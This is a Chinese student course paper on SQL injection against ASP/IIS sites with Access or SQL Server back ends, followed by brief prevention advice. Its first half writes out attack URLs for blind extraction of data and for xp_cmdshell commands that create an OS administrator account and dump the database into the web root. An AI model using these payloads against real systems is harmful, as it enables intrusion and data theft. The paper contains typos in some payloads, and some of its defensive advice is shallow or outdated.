logo资料库

sql注入论文.doc

第1页 / 共8页
第2页 / 共8页
第3页 / 共8页
第4页 / 共8页
第5页 / 共8页
第6页 / 共8页
第7页 / 共8页
第8页 / 共8页
资料共8页,全文预览结束
论文题目:浅析SQL注入漏洞及防范
引 言
1 SQL注入过程
1.1判断是否可以攻击
1.1.1输入为数字时:
1.1.2输入为字符串时:
1.2判断数据库类型
1.2.1对于IIS未关闭的
1.2.2对于IIS不返回错误信息的
1.3判断数据类型
1.4猜测表名
1.5猜测列名
1.6得到数据
1.7直接获得用户名及密码
2.SQL注入防范
2.1客户端
2.2加密
2.3 IIS的限制
2.4 IIS权限的分配
结 语
[参考文献]
Southeast University 课外研究性学习 课程论文 论文题目:浅析 SQL 注入漏洞及防范 学 生 院 系 : 软件学院 学 生 姓 名 : 王敏 学 生 学 号 : 71110430 1
Southeast University 浅析 SQL 注入漏洞及防范 摘 要 SQL 注入是一种很常见的利用程序漏洞进行攻击的方法,本文通过分析 SQL 注入漏洞的 原理即通过客户端提交的不合法的代码,分析返回信息,得到服务器端信息,从而为所欲 为,模拟注入过程,包括判断是否存在漏洞,判断数据库类型以及相应的注入方法,得到 相应的预防 SQL 注入的方法。 关键词:SQL ;注入;安全漏洞 The Analysis of SQL Injection And Prevention Abstract SQL injection is the common method to attack with the program vulnerability,the passage analyse the vulnerability principle and the injection process,and then get the way to prevent the SQL injection Key words: SQL; injection; Security vulnerabilities 2
Southeast University 目 录 引 言.............................................................................................................................................................4 1 SQL 注入过程............................................................................................................................................4 1.1 判断是否可以攻击............................................................................................................................4 1.1.1 输入为数字时:........................................................................................................................4 1.1.2 输入为字符串时:....................................................................................................................4 1.2 判断数据库类型................................................................................................................................5 1.2.1 对于 IIS 未关闭的....................................................................................................................5 1.2.2 对于 IIS 不返回错误信息的....................................................................................................5 1.3 判断数据类型....................................................................................................................................5 1.4 猜测表名............................................................................................................................................6 1.5 猜测列名............................................................................................................................................6 1.6 得到数据............................................................................................................................................6 1.7 直接获得用户名及密码....................................................................................................................7 2.SQL 注入防范............................................................................................................................................7 2.1 客户端................................................................................................................................................7 2.2 加密....................................................................................................................................................7 2.3 IIS 的限制........................................................................................................................................7 2.4 IIS 权限的分配................................................................................................................................8 结 语.............................................................................................................................................................8 [参考文献]...................................................................................................................................................8 3
引 言 Southeast University 计算机的发展越来越快,可是随之而来的却是一系列安全问题,这些安全问题直接威胁到了用户的私 人信息,诸如账号,密码,住址等,他们利用用户的好奇心,欺骗用户或者在用户毫不知情的情况下, 入侵 PC,盗取资料,对用户构成一定威胁,危害不仅局限于此,譬如在 08 年时一场大规模的 SQL 注入 席卷了全球,他们堆积选择 ip,将目标锁定到不同网站,其中包括一些受信任的网站,用户点击网站 之后会受到感之后成为病原体。 现在由于程序员的水平参差不齐,在编写程序的时候有时会很少考虑到安全方面的因素,及缺少用户 输入安全性的判断,这样就导致不法分子有机可乘,他们根据不同的输入,分析返回结果,得到数据库 服务器的相关信息,最后可以为所欲为。 1 SQL 注入过程 1.1 判断是否可以攻击 首先我们要将 ie 浏览器的 Internet=>高级=>显示好友 http 信息去掉,这样我们就可以得到不同的 错误,位置后的判断打下基础。 比如说形如一个 http://example/mainView/show.asp?ID=123 这是一个正常的网站,在这个网站中数 据库服务器通常通过 select * from tableName where ID=123 来将结果集返回给客户端,这本来是没 有什么问题的,可是这里却存在极大的安全隐患,比如说我们可以在后面添加一些代码,可以这样测试 1.1.1 输入为数字时: 通过经典的 1,2 测试法,我们可以这样做 不添加任何内容 http://example/mainView/show.asp?ID=123;不报错 添加 and 1=1 这样就变成了 http://example/mainView/show.asp?ID=123 and1=1;不报错 添加 and 1=2 这样就变成了 http://example/mainView/show.asp?ID=123 and 1=2;报错 1.1.2 输入为字符串时: 末尾添加一个‘,这样就变成了 http://example/mainView/show.asp?ID=123’;报错 添加‘and ’1‘=‘1 这样就变成了 http://example/mainView/show.asp?ID=123 ’and‘1'='1'; 不报错 添加‘and ’1‘=‘2 这样就变成了 http://example/mainView/show.asp?ID=123 ’and‘1'='2'; 报错 4
Southeast University 当这两个条件均满足时,我们可以知道 show.asp 不存在安全检测机制,因此可以得到我们 show.asp 是存在漏洞的。判断出这部分内容是可以实行 sql 注入时,我们可以进行下属步骤 1.2 判断数据库类型 在和 asp 搭配的网站中,大多数采用的是 access 和 sqlserver 两种数据库,故这里我们不讨论 mysql 这种类型的。 1.2.1 对于 IIS 未关闭的 我们可以根据系统变量来判断,对于 sqlserver 数据库,其中存在一些系统变量,比如说 user,利 用这点,可以执行以下语句 http://example/mainView/show.asp?ID=123 and user>0; 我们需要解释以下,user 存储的是当前连接的用户名,类型为 nvarchar 的,结果可想而知,我们将 两个 同类型的进行比较,那么系统首先会将 nvarchar 的值转换为 int,转换不成功,抛出错误, 之后我们分析得到的错误信息:将 userName(用户名)转换为 int 失败,这样,我们不仅判断出了这是 sqlserver 数据库,同时知道了用户名为 userName。 对于 ACCESS 数据库,我们只需要简单的在最后添加一个‘即可 http://example/mainView/show.asp?ID=123‘ 如果返回 Microsoft JET Database Engine 错误 '80040e14',说明存在字符串语法错误,从中我们 看出在 show.asp 行 8 存在错误,从这个错误我们可以看出这个网站采用的是 ACCESS 数据库 1.2.2 对于 IIS 不返回错误信息的 我们可以根据系统表来判断:Sqlserve 的系统表为 sysobjects,access 的系统表为 msysobjects 所 以我们这样判断 http://example/mainView/show.asp?ID=123 and (select count(*) from sysobjects)>0 http://example/mainView/show.asp?ID=123 and (select count(*) from mysobjects)>0 由于 access 数据库在 web 环境下访问 msysobjects 是没有权限的。因此不论是哪一种情况,总是会 返回错误信息,所以如果页面访问正常,那么可以判断是 Sqlserver 数据库,如果不正常,有错误信息, 则为 access 数据库。 1.3 判断数据类型 在前面已经介绍过了数字和字符串类型的,还有一种类型是关键字类型的即 keyword 5
Southeast University 它的查询语句大概是这个样子的: Select * from tableName where keyword like ‘%关键字%‘; 所以我们可以注入 keyword=‘ and whatYouWant and ‘%’=’, 这样 SQL 语句就变成了 Select * from 表名 where 字段 like ‘%’ and whatYouWant and ‘%’=’%’; 其中 whatYouWant 就是你想要得到的东西,好了,三种格式的数据类型判断完成后,接下来我们猜测 表名 1.4 猜测表名 方法大致如下:http://example/mainView/show.asp?ID=123 and (select count(*)from 猜测的表 名)>0 如果返回的页面没有变化,说明存在这个猜测的表名,如果返回错误信息,则不存在这个表名, 反复重复这个过程,我们得到相应的表名,很是繁琐的过程,可是我们可以根据相关信息来猜测,比如 说图书管理系统,我们会猜测 book,borrower 等名称 1.5 猜测列名 方法大致如下:http://example/mainView/show.asp?ID=123 and (select count(猜测的列) from 得 到的表名)>0,反复这个过程,得到列名 1.6 得到数据 假设我们已经得到了表名和列名,得到数据的思路如下,先得到 top 1 的长度,之后判断每一位的 ASCII,具体实现如下: 判断长度: http://example/mainView/show.asp?ID=123 and (select top 1 len(列名) from 表名)>n; 将 n 换成不同的数字,根据返回的不同值,可以得到此列第一个值长度,比如说>4 正确,>5 错误, 那么这个长度就是为 5, 之后我们要得到每个字符对应的是什么 http://example/mainView/show.asp?ID=123 and (select top 1 ascii(sbustring( 列 名 , m,1)))>Asn,的 m 为第几个字符,它是小于等于我们刚才得到的 n 的,Asn 为 ascii 的值,由于数字和 字母在 1~128 之间, 例如 http://example/mainView/show.asp?ID=123 and (select top 1 ascii(sbustring(列名,2, 1)))=39;我们可以得到第二个字符是 9 6
Southeast University 因此通过这个方法,我们可以得到每一个字符的 ascII,从而得到数据,这个工作大量重复且繁琐, 自己做,算了吧,写一个小程序。很快就搞定了。 1.7 直接获得用户名及密码 这样做只是一些基本的方法,对于真正比较牛的黑客,会使用另外一下方法。 主要是针对 SQLserver 数据库的,由于 SQLserver 和操作系统有紧密联系,如果当期的连接具有 sa 权 限,且 xp_cmdshell(将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出) 正确执行(虽然在 sqlserver2005 中默认是关闭的),那么我们就很容易控制 PC,操作步骤如下: http://example/mainView/show.asp?ID=123 ; exec master..xp_cmdshell “net user namepassword/add”--可以直接增加操作系统帐户 name 密码为 password http://example/mainView/show.asp?ID=123;exec master..xp_cmdshell“net localgroup name administrators /add”-- 把刚刚增加的帐户 user 加到 administrators 组中。 http://example/mainView/show.asp?ID=123 ; backuup database 数 据 库 名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到 WEB 目录下,再用 HTTP 把此文 件下载数 一般来说,WEB 虚拟目录是:c:\inetpub\wwwroot; 2.SQL 注入防范 通过上述论述,我们了解了 sql 注入的过程,针对过程,我们发现,主要可以从以下几点进行防范 2.1 客户端 在构造动态 sql 语句中,我们要检测用户输入的合法性,这对于我们来说是很重要的,因为往往我们 只顾及了完成编码工作而忽略了安全问题,这样,对于经验老道的程序员,很快就可以看出其中的漏洞, 因此在检查用户输入时,如果遇到 select exec xp_cmdshell 时,应该立即停止 asp,并将页面至于出 错状态。 2.2 加密 当然加密是很重要的,我们可以采取一些加密算法,例如 md5,rsa,des 等,来阻止你获得密码 2.3 IIS 的限制 在 sql 注入过程中,iis 的返回信息无疑是最大的帮凶,因此,对于 iis 的管理员,可以不管是什么 7
Southeast University 样的错误,都设置成同一种错误返回回来,这样,就可以避免不法分子通过放回错误来达到目的,但是 这样做的结果会增加程序员的负荷,程序员不知道是什么除了错,因此对于修正错误会有影响。 2.4 IIS 权限的分配 尽量给 web 最低权限,如果 web 只涉及到某几张表,那么只给他这几张表的访问权限,如果有修改操 作,将 update 权限给它,总之它需要什么,我们提供给他什么,其余的不会给。 结 语 Sql 注入在国内日渐成熟,不法分子越来越多,我们的私人信息面临威胁,因此作为将来要从事软件 开发的人员,我觉的我们有必要对这种安全漏洞进行彻底的分析,尽量减少它对我们客户的影响,有一 个想法,是这样的,我认为我们可以设置一些虚假的用户名,密码,看似具有管理员权限,实则没有, 同时,我们在检测用户输入时候对于那些非法的类似 select,xp_cmdshell 等输入,我们可以监视这个 ip,掌握对方的作案动机,从而将这个不法分子揪出来。 [参考文献] [1]eng308 SQL 注入攻击 [EB/OL]. http://www.cnblogs.com/tanshuicai/archive/2010/02/03/1664900.html [2010-02-03] [2]51cto SQL 注入攻击与防御 [EB/OL] http://netsecurity.51cto.com/art/201108/287651.htm [2010-09-14] [3]baidu SQL 注入攻击的原理及其防范措施 [EB/OL] http://wenku.baidu.com/view/99cb370976c66137ee06193b.html] [ 2008-12-12] [4] wiki SQL 注入攻击 [EB/OL] http://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94% BB%E6%93%8A [2012-11-19] 8
分享到:
收藏